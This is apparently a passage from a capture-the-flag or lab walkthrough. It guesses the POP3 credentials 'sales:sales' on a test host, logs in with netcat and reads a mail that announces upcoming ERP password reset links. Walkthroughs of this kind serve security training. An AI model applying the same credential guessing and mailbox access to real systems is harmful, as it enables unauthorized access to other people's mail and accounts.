4 :110 pop3

Tying to guess password
# found sales:sales

$ nc -vn 192.168.175.137 110
(UNKNOWN) [192.168.175.137] 110 (pop3) open
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
STAT
+OK 1 683
LIST
+OK 1 messages:
1 683
.
RETR 1
+OK 683 octets
Return-Path: <[e-mail]>
X-Original-To: [e-mail]
Delivered-To: [e-mail]
Received: by postfish.off (Postfix, from userid 997)
        id B277B45445; Wed, 31 Mar 2021 13:14:34 +0000 (UTC)
Received: from x (localhost [127.0.0.1])
        by postfish.off (Postfix) with SMTP id 7712145434
        for <[e-mail]>; Wed, 31 Mar 2021 13:11:23 +0000 (UTC)
Subject: ERP Registration Reminder
Message-Id: <[e-mail]>
Date: Wed, 31 Mar 2021 13:11:23 +0000 (UTC)
From: [e-mail]

Hi Sales team,

We will be sending out password reset links in the upcoming week so that we can get you registered on the ERP system.

Regards,
IT
.